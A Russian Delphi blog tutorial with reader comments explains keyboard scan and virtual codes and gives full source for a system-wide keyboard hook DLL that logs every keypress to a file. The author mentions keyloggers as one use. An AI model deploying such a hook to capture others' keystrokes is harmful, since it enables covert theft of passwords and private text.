В начале, как полагается, разберемся с вопросом: зачем нам нужны виртуальные и скан-коды клавиш?
Лично для меня изучить этот вопрос сподвигла небольшая проблема при тестировании одной из программ в отделе экологов. Дело в том, что встречается такой тип людей, которые почему-то страх как боятся компьютеров, несмотря на то, что без них не могут обойтись, да к тому же не могут толком объяснить, в случае проблемы, что собственно случилось.
Начинаешь тестировать программу, устанавливаешь на компьютер пользователя, объясняешь все популярно (тот, естественно, что-то помечает на обрывках бумажек), спрашиваешь "Понял?", тот - "Да, понял." Уходишь, через день приходишь и начинается "Программа не работает", "Там что-то какое-то окошко появилось" и т.д. и т.п. Спрашиваешь "Что делал?" Показывает действие за действием - ошибок нет...Как работал человек? Не понятно. Сидеть целый день за спиной у него и наблюдать - не вариант. Заставлять записывать за собой всё, что делал - изуверство. Интерфейс упростил дальше некуда, даже не Hint'ы зделал, а втупую подписи под каждым контролом, что куда писать. Не помогло. В итоге, родилась простая, на первый взгляд идея - установить на компьютер пользователя небольшую программку-шпиона, чтобы отслеживала все действия, которые тот творит над программой. Естественно, предупредив перед этим работника, что теперь все его действия над программой сохраняются (только не сказал куда...мало ли). Вот в процессе работы над моим псевдо-шпионом мне и потребовались дополнительные знания по работе с клавиатурой.< ' ' >
Вы же можете использовать полученные знания где угодно:
- создавать клавиатурных шпионов (только учтите, что тот же "Касперский" их распознает очень хорошо)
- использовать коды в своих программах, например, если Вам захочется, чтобы программа выполняла какое-либо действие после нажатия на дополнительную клавишу, такую как F13 на навороченных клавиатурах и пр.
- разрабатывать приложения типа Punto Switcher и пр.
Сразу оговорюсь - в этой статье я не буду выкладывать весь исходник моего "шпиона", только ту часть, которая отвечает за перехват нажатия клавиши. Это связано с тем, что для полноценной работы моей программы мне также пришлось разобраться немного с Windows API, чтобы отслеживать действия только с моей программой, а это уже целая отдельная статья.
Теперь непосредственно по скан-кодам. В буфере клавиатуры отводится два байта на каждый символ (весь размер буфера - 32 байта, т.е. 16 нажатий клавиш) - один из них представляет собой скан-код, второй - символьный код (для управляющих клавиш он равен нулю). В числом виде скан-коды требуются на практике очень редко, но чтобы их узнать, можно воспользоваться небольшой программкой на Pascal'е:
uses crt,dos;
var xah, xal:byte;
begin
asm
mov ah,10h {функция чтения из клавиатуры}
int 16h
mov xah, ah
mov xal, al
end;
writeln('Symbol = ', xal, ' Scan = ', xah);
end.
То есть после нажатия какой-нибудь клавиши в регистре al окажется код символа, а в ah - скан код.
Теперь про виртуальные коды. Виртуальные коды - это то, что использует система для идентификации клавиш. Т.е., зная виртуальный код клавиши, можно со 100% уверенностью хоть через неделю сказать пользователю, что он такого нажимал (и в какой последовательности). Дополнительно, зная текущую раскладку, можно также определить, что писал пользователь, но это уже немного другой вопрос.
Теперь напишем небольшую ловушку для клавиатуры, которая будет отлавливать все нажатия клавиш и писать лог-файл, в котором будет содержаться скан-код и виртуальный код нажатой клавиши.
library Spyhook;
uses Messages, Windows, Ariphm;
var HookHandle: HHOOK;
ft: TextFile;
function KeyboardProc(Code:Integer;wParam: wParam; LParam:LParam):integer; stdcall;
begin
if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam)
else
if byte(LParam shr 24)<$80 then
begin
try
append(ft);
except
exit;
end;
writeln(ft, 'Key(wParam)=$',hexw(wParam),' LParam =$',hexlong(lParam));
closefile(ft);
end;
CallNextHookEx(HookHandle, code, WParam, LParam)
end;
procedure SetHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,HInstance,0);
end;
procedure DelHook; stdcall;
begin
UnhookWindowsHookEx(HookHandle);
end;
exports
SetHook, DelHook;
begin
AssignFile(ft, 'c:keyhook.txt');
end.
Собственно, опытный глаз программиста сразу может увидеть недостаток, а именно - работа с файлом из DLL, что не рекомендуется. В идеале в DLL следует только определять коды и отсылать и в основную программу, а та в свою очередь пусть пишет их файл, но, как показала практика, может сгодиться и такой вариант.
Обратите внимание на выражение
byte(LParam shr 24)<$80
здесь определяется была ли нажата клавиша. Если да, то записываем файл. Если это условие убрать, то каждое действие на клавиатуре будет дублироваться, т.е. в файл запишется нажатая клавиша и отпущенная.
Теперь пишем основное приложение. Для демонстрации действия ловушки я сделал вот такую форму:
В верхний Memo записываем какой-либо текст, а в нижнем, по действию таймера, выписывается содержимое лог-файла. Таким образом Вы сможете практически "на лету" видеть, что происходит, какие данные передаются, что нажимается, какой параметр изменяется и т.д. и т.п.
Кстати, советую поставить по-больше задержку на таймере, иначе не будете успевать просмотреть всё содержимое.
Теперь делаем ссылки на необходимые нам процедуры из DLL. Будем загружать все необходимые процедуры (а их аж 2 штуки) сразу же после запуска программы. После описания формы пишем:
.... procedure SetHook; stdcall; External 'Spyhook.dll'; procedure DelHook; stdcall; External 'Spyhook.dll'; ....
На событие onCreate необходимо открыть или создать лог-файл и запустить нашу ловушку.
procedure TForm1.FormCreate(Sender: TObject); var ft: TextFile; begin AssignFile(ft, 'c:keyhook.txt'); try reset(ft); except rewrite(ft); end; CloseFile(ft); SetHook; //запуск ловушки end;
Соответственно, на закрытие приложения ловушку необходимо выгрузить:
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin DelHook; end;
Вывод содержимого лог-файла в Memo делается проще простого:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Memo2.Clear;
Memo2.Lines.LoadFromFile('c:keyhook.txt');
end;
Вот и все, что от нас требовалось. Теперь запускаем приложение (предварительно положив рядом с ним созданную DLL) и любуемся результатом:
Как видите в wParam мы получаем необходимый виртуальный код, а в LParam - скан-код и дополнительные сведения, например, признак расширенной клавиши. Все данные сохраняются в HEX-форме и при желании вы их сможете легко расшифровать. Если возникнут трудности - обращайтесь, разберемся вместе.
Да, кстати, чуть было не забыл. Модуль Ariphm, описаный в uses у DLL - не стандартный, поэтому его я выложу в конце статьи, т.е. прямо сейчас :)
Файлы для загрузки:
1.
2.
3.
Если хотите создать такой же блог как у меня - то Вам подойдет Виртуальный хостинг по низким ценам и с хорошей тех.поддержкой.
Мой блог находят по следующим фразам
- delphi компоненты OpenOffice
- Добавления Comment в XML Delphi
- delphi загрузка интерфейса
- для чайников Lazarus
- уменьшить размер exe Delphi 2010
- rad studio 2010 help
| Делись! | Загружай! | Плюсуй! |
| | |









28 Сен 2010 в 2:18 пп
Здравствуйте, Влад. Возможно мой вопрос вам покажется странным и не по адресу, но на просторах интернета я себе внятного ответа не обнаружил.
Суть в следующем: требуется написать программу, одной из задач которой является выполнение процедуры по нажатию по F5 и CTRL+F5, а так же перекодировка символов в теле программы. Не могли бы вы мне подсказать, как это можно реализовать? желательно без использования ДЛЛ, на выходе предпочтительно иметь 1 экзешник.
28 Сен 2010 в 4:01 пп
Алексей, я бы зарегистрировал пару сочетаний горячих клавиш при запуске программы и «прятал» бы такую программку, например, в трей. По поводу регистрации горячих клавиш надо смотреть инфу по методам: RegisterHotKey() и UnregisterHotKey(). Получается программка без DLL не мазолящая глаза :)
27 Янв 2011 в 7:34 пп
Если еще актуально… Горячие клавиши удобно отлавливать с помощью ActionList. Создаешь Action в свойству ShortCut присваиваешь сочетание клавиш. А на OnExecute нужную процедуру обработки.
27 Янв 2011 в 8:14 пп
xkeen, Такие комментарии всегда актуальны, тем более в блоге связанном с программированием — посетители узнают ещё один способ работы с горячими клавишами. Спасибо :)
25 Фев 2011 в 1:51 дп
Извините за повтор в первом сообщение не указал адрес блога. Скажите пожалуйста возможно реализовать немного иную программу, а именно : перехват нажатия на виртуальной клавиатуре и транслировать их во все приложения как нажатие обычной клавиатуры?